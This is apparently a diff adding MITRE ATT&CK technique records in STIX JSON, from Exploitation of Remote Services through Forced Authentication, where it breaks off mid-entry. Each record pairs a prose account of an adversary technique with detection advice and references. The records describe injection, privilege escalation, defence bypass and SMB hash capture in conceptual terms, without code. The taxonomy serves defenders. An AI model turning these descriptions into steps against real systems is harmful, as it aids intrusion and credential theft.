"x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Exploitation of Remote Services", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network." + ], + "type": "attack-pattern", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1210", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1210" + }, + { + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "source_name": "CIS Multiple SMB Vulnerabilities", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "NVD CVE-2017-0176", + "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176" + }, + { + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "source_name": "NVD CVE-2016-6662", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + } + ], + "modified": "2019-07-25T19:00:49.793Z" + }, + { + "x_mitre_data_sources": [ + "Authentication logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "External Remote Services", + "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.", + "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Daniel Oakley", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:31:44.421Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1133", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1133" + }, + { + "source_name": "capec", + "external_id": "CAPEC-555", + "url": "https://capec.mitre.org/data/definitions/555.html" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + } + ], + "modified": "2019-07-17T21:15:42.805Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Extra Window Memory Injection", + "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", + "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-31T13:45:13.024Z", + "external_references": [ + { + "external_id": "T1181", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1181" + }, + { + "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", + "source_name": "Microsoft Window Classes", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx" + }, + { + "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", + "source_name": "Microsoft GetWindowLong function", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx" + }, + { + "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", + "source_name": "Microsoft SetWindowLong function", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx" + }, + { + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "source_name": "MalwareTech Power Loader Aug 2013", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + }, + { + "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", + "source_name": "Microsoft SendNotifyMessage function", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + }, + { + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Endgame Process Injection July 2017", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Data Execution Prevention" + ] + }, + { + "x_mitre_data_sources": [ + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture", + "Process monitoring", + "Process use of network" + ], + "name": "Fallback Channels", + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", + "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:21.689Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1008" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T21:17:03.445Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "File Deletion", + "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", + "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "modified": "2019-07-17T21:18:43.664Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "created": "2017-05-31T21:31:17.915Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1107", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1107" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "API monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "File System Logical Offsets", + "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", + "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:20.934Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1006" + }, + { + "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.", + "source_name": "Hakobyan 2009", + "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" + }, + { + "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.", + "source_name": "Github PowerSploit Ninjacopy", + "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + } + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "File system access controls" + ] + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Services", + "Process command-line parameters" + ], + "name": "File System Permissions Weakness", + "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", + "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:43.063Z", + "x_mitre_effective_permissions": [ + "SYSTEM", + "User", + "Administrator" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1044" + }, + { + "source_name": "capec", + "external_id": "CAPEC-17", + "url": "https://capec.mitre.org/data/definitions/17.html" + }, + { + "source_name": "Mozilla Firefox Installer DLL Hijack", + "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", + "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/" + }, + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "modified": "2019-07-17T21:22:37.100Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "File and Directory Discovery", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.", + "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls" + ], + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor proceExesses and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:04.710Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1083" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + } + ], + "modified": "2019-08-12T19:52:39.585Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "name": "File and Directory Permissions Modification", + "description": "File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.", + "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "modified": "2019-07-09T15:01:23.290Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Jan Miller, CrowdStrike" + ], + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1222", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1222" + }, + { + "source_name": "Microsoft DACL May 2018", + "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces" + }, + { + "source_name": "Microsoft File Rights May 2018", + "description": "Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights" + }, + { + "source_name": "Unix File Permissions", + "description": "Tutorials Point. (n.d.). Unix / Linux - File Permission / Access Modes. Retrieved August 19, 2018.", + "url": "https://www.tutorialspoint.com/unix/unix-file-permission.htm" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "Microsoft icacls OCT 2017", + "description": "Plett, C. et al.. (2017, October 17). icacls. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/icacls" + }, + { + "source_name": "Microsoft takeown OCT 2017", + "description": "Plett, C. et al.. (2017, October 15). takeown. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/takeown" + }, + { + "source_name": "Microsoft attrib OCT 2017", + "description": "Plett, C. et al.. (2017, October 15). attrib. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/attrib" + }, + { + "source_name": "Microsoft SetAcl", + "description": "Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl" + }, + { + "source_name": "Linux chmod", + "description": "MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. Retrieved August 19, 2018.", + "url": "https://linux.die.net/man/1/chmod" + }, + { + "source_name": "Linux chown", + "description": "MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. Retrieved August 19, 2018.", + "url": "https://linux.die.net/man/1/chown" + }, + { + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + } + ], + "x_mitre_defense_bypassed": [ + "File system access controls" + ] + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "BIOS", + "Component firmware" + ], + "name": "Firmware Corruption", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.", + "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T18:28:15.451Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1495", + "url": "https://attack.mitre.org/techniques/T1495" + }, + { + "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.", + "source_name": "Symantec Chernobyl W95.CIH", + "url": "https://www.symantec.com/security-center/writeup/2000-122010-2655-99" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + } + ], + "modified": "2019-07-17T21:23:45.464Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Network protocol analysis", + "Network device logs", + "Process use of network" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Forced Authentication", + "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information 